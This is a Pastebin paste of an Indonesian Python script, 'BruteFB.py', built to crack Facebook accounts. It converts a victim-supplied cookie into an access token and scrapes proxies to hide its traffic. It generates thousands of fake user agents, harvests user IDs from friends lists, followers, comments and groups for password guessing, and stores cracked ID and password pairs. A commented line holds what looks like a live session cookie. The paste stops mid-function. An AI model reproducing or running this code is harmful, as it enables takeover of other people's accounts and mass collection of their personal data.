OBF-XIn

140.213.58.40-/sdcard/BruteFB.py.py

Jul 3rd, 2023
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 84.56 KB | None | 0 0
  1. #-----------------[ IMPORT-MODULE ]-------------------
  2. import requests,bs4,json,os,sys,random,datetime,time,re
  3. import urllib3,rich,base64
  4. from rich.table import Table as me
  5. from rich.console import Console as sol
  6. from bs4 import BeautifulSoup as sop
  7. from bs4 import BeautifulSoup as par
  8. from bs4 import BeautifulSoup as parser
  9. from concurrent.futures import ThreadPoolExecutor as tred
  10. from rich.console import Group as gp
  11. from rich.panel import Panel as nel
  12. from rich.panel import Panel as panel
  13. from rich import print as cetak
  14. from rich.panel import Panel
  15. from rich.markdown import Markdown as mark
  16. from rich.columns import Columns as col
  17. from rich.tree import Tree
  18. from rich import print as rprint
  19. from rich import print as prints
  20. from rich import pretty
  21. from rich.text import Text as tekz
  22. from time import sleep
  23. ###----------[ IMPORT MODULE RICH ]---------- ###
  24. from rich.tree import Tree
  25. from rich import print as prints
  26. from rich.console import Console
  27. from rich.table import Table
  28. from rich.columns import Columns
  29. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  30. console = Console()
  31. #------------------[ USER-AGENT ]-------------------#
  32. pretty.install()
  33. CON=sol()
  34. ugen2=[]
  35. ugen=[]
  36. cokbrut=[]
  37. ses=requests.Session()
  38. princp=[]
  39. wa = Console()
  40. try:
  41.     prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  42.     open('.prox.txt','w').write(proxy)
  43. except Exception as e:
  44.     proxy=open('.prox.txt','r').read().splitlines()
  45. ###----------[ GENERATE USERAGENT ]---------- ###
  46. for xd in range(10000):
  47.     a='Mozilla/5.0 (Linux; Android '
  48.     b=random.randrange(1, 9)
  49.     c=random.randrange(1, 9)
  50.     d='SAMSUNG SM-S901B/S901BXXS4CWD3)'
  51.     e=random.randrange(100, 9999)
  52.     f='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/21.0 Chrome/'
  53.     g=random.randrange(1, 9)
  54.     h=random.randrange(1, 4)
  55.     i=random.randrange(1, 4)
  56.     j=random.randrange(1, 4)
  57.     k='Mobile Safari/537.36'
  58.     uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  59.     ugen.append(uaku)
  60.    
  61.     a='Mozilla/5.0 (Linux; Android '
  62.     b=random.randrange(1, 9)
  63.     c=random.randrange(1, 9)
  64.     d='M2103K19PG)'
  65.     e=random.randrange(100, 9999)
  66.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  67.     g=random.randrange(1, 9)
  68.     h=random.randrange(1, 4)
  69.     i=random.randrange(1, 4)
  70.     j=random.randrange(1, 4)
  71.     k='Mobile Safari/537.3'
  72.     uakuh=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
  73.     ugen.append(uakuh)
  74.            
  75. for xd in range(10):   
  76.     a='Mozilla/5.0 (Windows NT 10.0;'
  77.     b=random.randrange(100, 9999)
  78.     c=random.randrange(100, 9999)
  79.     d='Win64; x64)'
  80.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  81.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  82.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  83.     h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  84.     i=random.randrange(1, 9)
  85.     j='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  86.     k=random.randrange(1, 9)
  87.     l=random.randrange(1, 9)
  88.     m='Safari/537.36 Edg/113.0.1774.57'
  89.     uaku=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  90.     ugen2.append(uaku)
  91.    
  92.     a='Mozilla/5.0 (Linux; Android'
  93.     b=random.randrange(100, 9999)
  94.     c=random.randrange(100, 9999)
  95.     d='V2111'
  96.     e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  97.     f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  98.     g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  99.     h=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
  100.     i=random.randrange(1, 9)
  101.     j='AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/'
  102.     k=random.randrange(1, 9)
  103.     l=random.randrange(1, 9)
  104.     m='Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/401.0.0.24.77;]'
  105.     uaku=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
  106. def uaku():
  107.     try:
  108.         ua=open('bbnew.txt','r').read().splitlines()
  109.         for ub in ua:
  110.             ugen.append(ub)
  111.     except:
  112.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  113.         ua=open('.bbnew.txt','w')
  114.         aa=re.findall('line">(.*?)<',str(a))
  115.         for un in aa:
  116.             ua.write(un+'\n')
  117.         ua=open('.bbnew.txt','r').read().splitlines()
  118. #ua = random.choice(['Dalvik/2.1.0 (Linux; U; Android 4.5 SM-G900F Build/LRX21T)1239[FBAN/FB4A;FBAV/43.0.0.29.147;FBPN/com.facebook.katana;FBLC/en_GB;FBBV/4.2.3.3 ;FBCR/Tele2 LT;FBMF/samsung;FBBD/samsung;FBDV/SM-G900F;FBSV/5.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]','Dalvik/1.6.0 (Linux; U; Android 3.2 SM-A720F Build/R16NW)4487[FBAN/Orca-Android;FBAV/196.0.0.29.99;FBPN/com.facebook.orca;FBLC/th_TH;FBBV/3.3.2.3;FBCR/AIS;FBMF/samsung;FBBD/samsung;FBDV/SM-A720F;FBSV/8.0.0;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=3.0,width=1080,height=1920};FB_FW/1;]','Dalvik/1.6.0 (Linux; U; Android 3.7 GT-I9300 Build/IMM76D)8589[FBAN/Orca-Android;FBAV/5.0.0.16.1;FBLC/tr_TR;FBBV/3.2.3.1;FBCR/T-Mobile;FBMF/samsung;FBBD/samsung;FBDV/GT-I9300;FBSV/4.0.4;FBCA/armeabi-v7a:armeabi;FBDM/'+'{density=1.0,width=1066,height=552};]'])
  119. ###----------[ WARNA PRINT RICH ]---------- ###
  120. M2 = "[#FF0000]" # MERAH
  121. H2 = "[#00FF00]" # HIJAU
  122. K2 = "[#FFFF00]" # KUNING
  123. B2 = "[#00C8FF]" # BIRU
  124. P2 = "[#FFFFFF]" # PUTIH
  125. ###----------[ CEK WARNA TEMA ]---------- ###
  126. try:
  127.     file_color = open("data/theme_color","r").read()
  128.     color_text = file_color.split("|")[0]
  129.     color_text = file_color.split("|")[1]
  130. except:
  131.     color_text = "[#00C8FF]"
  132.     color_text = "#00C8FF"
  133. #------------[ INDICATION ]---------------#
  134. id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni=[],[],0,0,0,[],[],[],[],[],[]
  135. taplikasi=['no']
  136. taplikasi=[]
  137. gabriel=[]
  138. cokbrut=[]
  139. method=[]
  140. ualu=[]
  141. ualuh=[]
  142. dia=[]
  143. atur = []
  144. pwpluss,pwnya=[],[]
  145. P = '\x1b[1;97m' # PUTIH
  146. M = '\x1b[1;91m' # MERAH
  147. H = '\x1b[1;92m' # HIJAU
  148. K = '\x1b[1;93m' # KUNING
  149. B = '\x1b[1;94m' # BIRU
  150. U = '\x1b[1;95m' # UNGU
  151. O = '\x1b[1;96m' # BIRU MUDA
  152. N = '\x1b[0m'   # WARNA MATI
  153. x = '\33[m' # DEFAULT
  154. m = '\x1b[1;91m' #RED +
  155. k = '\033[93m' # KUNING +
  156. h = '\x1b[1;92m' # HIJAU +
  157. hh = '\033[32m' # HIJAU -
  158. u = '\033[95m' # UNGU
  159. kk = '\033[33m' # KUNING -
  160. b = '\33[1;96m' # BIRU -
  161. p = '\x1b[0;34m' # BIRU +
  162. asu = random.choice([m,k,h,u,b])
  163. try:cek_data = requests.get("http://ip-api.com/json/").json()
  164. except:cek_data = {'-'}
  165. try:asal_kota = cek_data["city"]
  166. except:asal_kota = {'-'}
  167. try:asal_reg = cek_data["region"]
  168. except:asal_reg = cek_data['-']
  169. try:times = cek_data["timezone"]
  170. except:times = cek_data['-']
  171. try:city = cek_data["city"]
  172. except:city = cek_data['-']
  173. #--------------------[ CONVERTER-BULAN ]--------------#
  174. dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
  175. dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
  176. tgl = datetime.datetime.now().day
  177. bln = dic[(str(datetime.datetime.now().month))]
  178. thn = datetime.datetime.now().year
  179. okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  180. cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
  181. #------------------[ CEK TAHUN ]---------------#
  182. def cektahun(fx):
  183.     if len(fx)==15:
  184.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  185.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  186.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  187.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  188.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  189.         elif fx[:6] in ['100001']          :tahunz = '2010'
  190.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  191.         elif fx[:6] in ['100004']          :tahunz = '2012'
  192.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  193.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  194.         elif fx[:6] in ['100009']          :tahunz = '2015'
  195.         elif fx[:5] in ['10001']           :tahunz = '2016'
  196.         elif fx[:5] in ['10002']           :tahunz = '2017'
  197.         elif fx[:5] in ['10003']           :tahunz = '2018'
  198.         elif fx[:5] in ['10004']           :tahunz = '2019'
  199.         elif fx[:5] in ['10005']           :tahunz = '2020'
  200.         elif fx[:5] in ['10006']           :tahunz = '2021'
  201.         elif fx[:5] in ['10009']           :tahunz = '2023'
  202.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  203.         else:tahunz=''
  204.     elif len(fx) in [9,10]:
  205.         tahunz = '2008'
  206.     elif len(fx)==8:
  207.         tahunz = '2007'
  208.     elif len(fx)==7:
  209.         tahunz = '2006'
  210.     else:tahunz=''
  211.     return tahunz
  212. #------------------[ MACHINE-SUPPORT ]---------------#
  213. def alvino_xy(u):
  214.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
  215. def clear():
  216.     os.system('clear')
  217. def back():
  218.     login()
  219. #------------------[ LOGO-LAKNAT ]-----------------#
  220. def banner():
  221.     clear()
  222.     cetak(nel(f'''[bold yellow] ______              __          _______                        
  223. |   __ \.----.--.--.|  |_.-----.|    ___|.-----.----.----.-----.
  224. |   __ <|   _|  |  ||   _|  -__||    ___||  _  |   _|  __|  -__|
  225. |______/|__| |_____||____|_____||___|    |_____|__| |____|_____|
  226.                                                                 ''',width=70,padding=(0,1),title=f" ••• Banner ••• ",style=f"bold purple"))
  227. ###----------[ NGECEK COOKIES ]----------###
  228. def login():
  229.     try:
  230.         token = open('.token.txt','r').read()
  231.         cok = open('.cok.txt','r').read()
  232.         tokenku.append(token)
  233.         try:
  234.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  235.             sy2 = json.loads(sy.text)['name']
  236.             sy3 = json.loads(sy.text)['id']
  237.             menu(sy2,sy3)
  238.         except KeyError:
  239.             login_lagi334()
  240.         except requests.exceptions.ConnectionError:
  241.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  242.             lo = mark(li, style='red')
  243.             sol().print(lo, style='cyan')
  244.             exit()
  245.     except IOError:
  246.         login_lagi334()
  247. def login_lagi334():
  248.     try:
  249.         os.system('clear')
  250.         banner()
  251.         print('')
  252.         your_cookies = input(' Masukan Cookie : ')
  253.         with requests.Session() as r:
  254.             try:
  255.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  256.                 data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
  257.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  258.                 code, user_code = response['code'], response['user_code']
  259.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
  260.                 r.headers.pop('content-type')
  261.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  262.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  263.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  264.                     print(" ├╴>  Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  265.                 else:
  266.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  267.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  268.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  269.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  270.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  271.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  272.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  273.                         r.headers.pop('content-type');r.headers.pop('origin')
  274.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  275.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  276.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  277.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  278.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  279.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  280.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  281.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  282.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  283.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  284.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  285.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  286.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  287.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  288.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  289.                         r.headers.pop('content-type');r.headers.pop('origin')
  290.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  291.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  292.                         if 'Sukses!' in str(response6):
  293.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  294.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  295.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  296.                             print(f"\n ├╴>  Token : {access_token}")
  297.                             tokenew = open(".token.txt","w").write(access_token)
  298.                             cook= open(".cok.txt","w").write(your_cookies)
  299.                             print("\n ├╴>  Login Berhasil Jalankan Ulang Perintah Python nya");exit()
  300.             except Exception as e:
  301.                 print(" ├╴>  Cookies Mokad Kontol")
  302.                 os.system('rm -rf .cok.txt && rm -rf .token.txt')
  303.                 print(e)
  304.                 time.sleep(3)
  305.                 back()
  306.     except:pass
  307.    
  308. #------------------[ BAGIAN-MENU ]----------------#
  309. def menu(my_name,my_id):
  310.     try:
  311.         token = open('.token.txt','r').read()
  312.         cok = open('.cok.txt','r').read()
  313. #       cok = open('datr=F5-dZMHT8Jjf-5UTOEJtt_Fa; sb=F5-dZJ-IUiGsDbrNrPfzydIE; m_pixel_ratio=1.8000000715255737; c_user=100094030669711; xs=26%3AOImPBosh7i0qxQ%3A2%3A1688051521%3A-1%3A-1; fr=0B0Z4F4LfLmPXKvMw.AWW2EO0HTJRMd7gEQHEg1szGBN0.BknZ8X.mU.AAA.0.0.BknZ9D.AWUJMEtAdvI; m_page_voice=100094030669711; wd=400x757; locale=id_ID; fbl_cs=AhDMgvJZRQOC5DRyJjyUhemiGEh2NWIyeGNOZFY9T0JYQ2M0UUpuei9nZg; fbl_ci=290948869958235; vpd=v1%3B757x400x1.8000000715255737; fbl_st=100433853%3BT%3A28134193','r').read()
  314.     except IOError:
  315.         print(' [+] Cookies Kadaluarsa ')
  316.         time.sleep(5)
  317.         login()
  318.     os.system('clear')
  319.     banner()
  320.     negara = requests.get("http://ip-api.com/json/").json()["country"]
  321.     ip = requests.get("http://ip-api.com/json/").json()["query"]
  322.     dia.append(nel(f'[bold white][+[/][bold white]][/] [bold white]USERNAME  : [bold green]{my_name}[/]\n[bold white][+[/][bold white]][/] [bold white]USER IDZ  : [bold green]{my_id}[/]\n[bold white][+[/][bold white]][/] [bold white]TANGGAL   : [bold green]{tgl}[/][/]\n[bold white][+[/][bold white]][/] [bold white]RICODE BY : [bold green]SPOKY XD[/][/] ',width=35,padding=(0,1),style=f"bold purple"))
  323.     dia.append(nel(f'[bold white][+[/][bold white]][/] [bold white]NEGARA    : [bold green]{negara}[/]\n[bold white][+[/][bold white]][/] [bold white]KOTA      : [bold green]{asal_kota}[/]\n[bold white][+[/][bold white]][/] [bold white]TIMEZONE  : [bold green]{times}[/][/]\n[bold white][+[/][bold white]][/] [bold white]ALAMAT IP : [bold green]{ip}[/][/] ',width=35,padding=(0,1),style=f"bold purple"))
  324.     console.print(Columns(dia))
  325.     cetak(nel(f"[bold white][[bold cyan]01[bold white]] Crack From Publick        [bold white][[bold cyan]06[bold white]] Crack From Group      \n[bold white][[bold cyan]02[bold white]] Crack From Massal         [bold white][[bold cyan]07[bold white]] Dump Idz Target        \n[bold white][[bold cyan]03[bold white]] Crack From File           [[bold cyan]08[bold white]] Cek Result Crack \n[bold white][[bold cyan]04[bold white]] Crack From Followers      [bold white][[bold cyan]09[bold white]] Check Tapyes \n[bold white][[bold cyan]05[bold white]] Crack From Komen          [bold white][[bold cyan]10[bold white]] [bold white]Hapus Cookies",width=70,padding=(0,5),title=f"[bold green] ••• LIST MENU CRACK ••• ",style=f"bold purple"))
  326.     print('╭───────────────────────────╮')
  327.     Cyber_To_XR = input('\r├╴➤ PILIH MENU : ')
  328.     print('╰───────────────────────────╯')
  329.     if Cyber_To_XR in ['1','01']:
  330.         publick()
  331.     elif Cyber_To_XR in ['2','02']:
  332.         massal()
  333.     elif Cyber_To_XR in ['3','03']:
  334.         file()
  335.     elif Cyber_To_XR in ['4','04']:
  336.         followers()
  337.     elif Cyber_To_XR in ['5','05']:
  338.         komen()
  339.     elif Cyber_To_XR in ['6','06']:
  340.         group()
  341.     elif Cyber_To_XR in ['7','07']:
  342.         dumpid()
  343.     elif Cyber_To_XR in ['8','08']:
  344.         result()
  345.     elif Cyber_To_XR in ['9','09']:
  346.         tapyes()
  347.     elif Cyber_To_XR in ['10','10']:
  348.         os.system('rm -rf .cookie.txt')
  349.         os.system('rm -rf .token.txt')
  350.         print(f'{m}Sukses Hapus Cookies{x}')
  351.         exit()
  352.     else:
  353.         print('╰─◕➤ Pilih Yang Bener Asu ')
  354.         back()
  355.  
  356. #-----------------[ HASIL-CRACK ]-----------------#
  357. def result():
  358.     cetak(nel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]HASIL OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]HASIL CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=70,title=f"[bold green]• [/][bold purple] HASIL CRACK [/][bold white] •[/]",style=f"bold purple"))
  359.     print('╭──────────────────╮')
  360.     kz = input(f'├╴➤ Pilih : ')
  361.     print('╰──────────────────╯')
  362.     if kz in ['2','02']:
  363.         try:vin = os.listdir('CP')
  364.         except FileNotFoundError:
  365.             print('╰─◕➤ File Tidak Di Temukan ')
  366.             time.sleep(3)
  367.             back()
  368.         if len(vin)==0:
  369.             print('╰─◕➤ Anda Tidak Memiliki Hasil CP ')
  370.             time.sleep(4)
  371.             back()
  372.         else:
  373.             cih = 0
  374.             lol = {}
  375.             for isi in vin:
  376.                 try:hem = open('CP/'+isi,'r').readlines()
  377.                 except:continue
  378.                 cih+=1
  379.                 if cih<10:
  380.                     nom = '0'+str(cih)
  381.                     lol.update({str(cih):str(isi)})
  382.                     lol.update({nom:str(isi)})
  383.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  384.                 else:
  385.                     lol.update({str(cih):str(isi)})
  386.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  387.             geeh = input(f'\n{P}{x}{P}└──◕➤ {x}{P}{x} {P}Select{x} : ')
  388.             try:geh = lol[geeh]
  389.             except KeyError:
  390.                 print('└──◕➤ Pilih Yang Bener Bro ')
  391.                 exit()
  392.             try:lin = open('CP/'+geh,'r').read().splitlines()
  393.             except:
  394.                 print('└──◕➤ File Tidak Di Temukan ')
  395.                 time.sleep(4)
  396.                 back()
  397.             nocp=0
  398.             for cpku in range(len(lin)):
  399.                 cpkuni=lin[nocp].split('|')
  400.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  401.                 sol().print(mark(cpkuh,style="yellow"))
  402.                 nocp +=1
  403.             input('└──◕➤ [ Klik enter ]')
  404.             back()
  405.     elif kz in ['1','01']:
  406.         try:vin = os.listdir('OK')
  407.         except FileNotFoundError:
  408.             print('└──◕➤ File Tidak Di Temuakan  ')
  409.             time.sleep(4)
  410.             back()
  411.         if len(vin)==0:
  412.             print('└──◕➤ Anda Tidak Mempunyai File OK ')
  413.             time.sleep(4)
  414.             back()
  415.         else:
  416.             cih = 0
  417.             lol = {}
  418.             for isi in vin:
  419.                 try:hem = open('OK/'+isi,'r').readlines()
  420.                 except:continue
  421.                 cih+=1
  422.                 if cih<80:
  423.                     nom = '0'+str(cih)
  424.                     lol.update({str(cih):str(isi)})
  425.                     lol.update({nom:str(isi)})
  426.                     print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  427.                 else:
  428.                     lol.update({str(cih):str(isi)})
  429.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  430.             print('╭──────────────────╮')
  431.             geeh = input(f'├╴➤ Pilih : ')
  432.             print('╰──────────────────╯')
  433.             try:geh = lol[geeh]
  434.             except KeyError:
  435.                 print('└──◕➤ Pilih Yang Bener Bro ')
  436.                 exit()
  437.             try:lin = open('OK/'+geh,'r').read().splitlines()
  438.             except:
  439.                 print('└──◕➤ File Tidak Di Temuakan ')
  440.                 time.sleep(4)
  441.                 back()
  442.             nocp=0
  443.             for cpku in range(len(lin)):
  444.                 cpkuni=lin[nocp].split('|')
  445.                 cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
  446.                 sol().print(mark(cpkuh,style="green"))
  447.                 print(f'{hh} USER UGENT : {x}{cpkuni[2]}')
  448.                 nocp +=1
  449.             print('╭──────────────────╮')
  450.             input(f'├╴➤ {m} [ Klik Enter ] ')
  451.             print('╰──────────────────╯')
  452.             back()
  453.     elif kz in ['3','03']:
  454.         back()
  455.     else:
  456.         print('└──◕➤ Pilih Yang Bener Bro  ')
  457.         exit()
  458. #-----------------[ DUMP ID ]-----------------#    
  459. def dumpid():
  460.     try:
  461.         token = open('.token.txt','r').read()
  462.         cookie = open('.cok.txt','r').read()
  463.         os.mkdir('/sdcard/DUMP-FILE')
  464.     except:pass
  465.     try:
  466.         barelang = input(f"├╴➤ Masukan Id  : ")
  467.         batuampar = input(f"├╴➤ Nama File Dump  : ")
  468.         gajahmada  = ('/sdcard/DUMP-FILE/' + batuampar + '.txt').replace(' ', '_')
  469.         xxx = open(gajahmada, 'w')
  470.         coki = {"cookie":cookie}
  471.         smpn20 = requests.get('https://graph.facebook.com/%s?fields=friends.limit(90000)&access_token=%s'%(barelang,token),cookies=coki).json()
  472.         for sekupang in smpn20['friends']['data']:
  473.             id.append(sekupang['id']+'|'+sekupang['name'])
  474.             xxx.write(sekupang['id']+'|'+sekupang['name']+ '\n')
  475.             print('\r├╴➤ Mengumpulkan %s Id'%(len(id)),end='')
  476.             time.sleep(0.0050)
  477.         print(f"\n├╴➤ Berhasil Dump Id Dari Publik")
  478.         print(f"╰─◕➤ Salin Output File + [ %s ]"%(gajahmada))
  479.         exit()
  480.     except (KeyError,IOError):
  481.         os.remove(gajahmada)
  482.         print(f"└──◕➤ Gagal Dump Id, Kemungkinan Id Tidak Ada")
  483.         exit()
  484.  
  485. #-----------------[ CRACK KOMEN ]-----------------#
  486. def komen():
  487.     try:
  488.         token = open('.token.txt','r').read()
  489.         cokies = open('.cok.txt','r').read()
  490.     except IOError:
  491.         print('╰─◕➤ Cookies Kadaluarsa ')
  492.         time.sleep(5)
  493.         login()
  494.     cetak(panel(f"Pastikan Akun Target Yang Di Pilih Bersifat Publik Jangan Private",width=70,padding=(0,1),style=f"bold white"))
  495.     ide = input(f'├╴➤ Masukan Id Postingan : ')
  496.     get_komen('https://m.facebook.com/'+ide,cokies)
  497.     setting()
  498.     if len(id)==0:
  499.         print(f"╰─◕➤ Gagal Dump Id, Kemungkinan Akun Private")
  500.         time.sleep(3);exit()
  501.    
  502.  
  503. def get_komen(url,cokies):
  504.     data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
  505.     for isi in data.find_all("h3"):
  506.         for ids in isi.find_all("a",href=True):
  507.             if "profile.php" in ids.get("href"):id = ids.get("href").split('=')[1].replace("&refid","")
  508.             else:id = re.findall("/(.*?)?__",ids["href"])[0]. replace("?refid=52&","").split('?')[0]
  509.             nama = ids.text
  510.             if id+"|"+nama in dump:pass
  511.             else:dump.append(id+"|"+nama)
  512.             print('\r├╴➤ Mengumpulkan %s Id'%(len(id)),end='')
  513.     for z in data.find_all("a",href=True):
  514.         if "Tampilkan komentar sebelumnya" in z.text:
  515.             try:get_komen("https://m.facebook.com"+z["href"])
  516.             except:pass
  517. #-----------------[ CRACK GROUP ]-----------------#    
  518. def group():
  519.     try:
  520.         token = open('.token.txt','r').read()
  521.         cokies = open('.cok.txt','r').read()
  522.     except IOError:
  523.         print('╰─◕➤ Cookies Kadaluarsa ')
  524.         time.sleep(5)
  525.         login()
  526.     cetak(nel('PASTIKAN IDZ GROUP BERSIFAT PUBLICK , MOHOM BERSABAR DUMP ID GRUP SANGAT LAMBAT',width=70,style=f"bold green"))
  527.     url = input(f'╰─◕➤ IDZ GRUP : ')
  528.     kocak("https://mbasic.facebook.com/groups/"+url,cokies);setting()
  529.  
  530. def kocak(url,cokies):
  531.     data = parser(ses.get(url,cookies={"cookie": cokies}).text, "html.parser")
  532.     judul = re.findall("<title>(.*?)</title>",str(data))[0]
  533.     if str(judul) == 'Use basic mode':
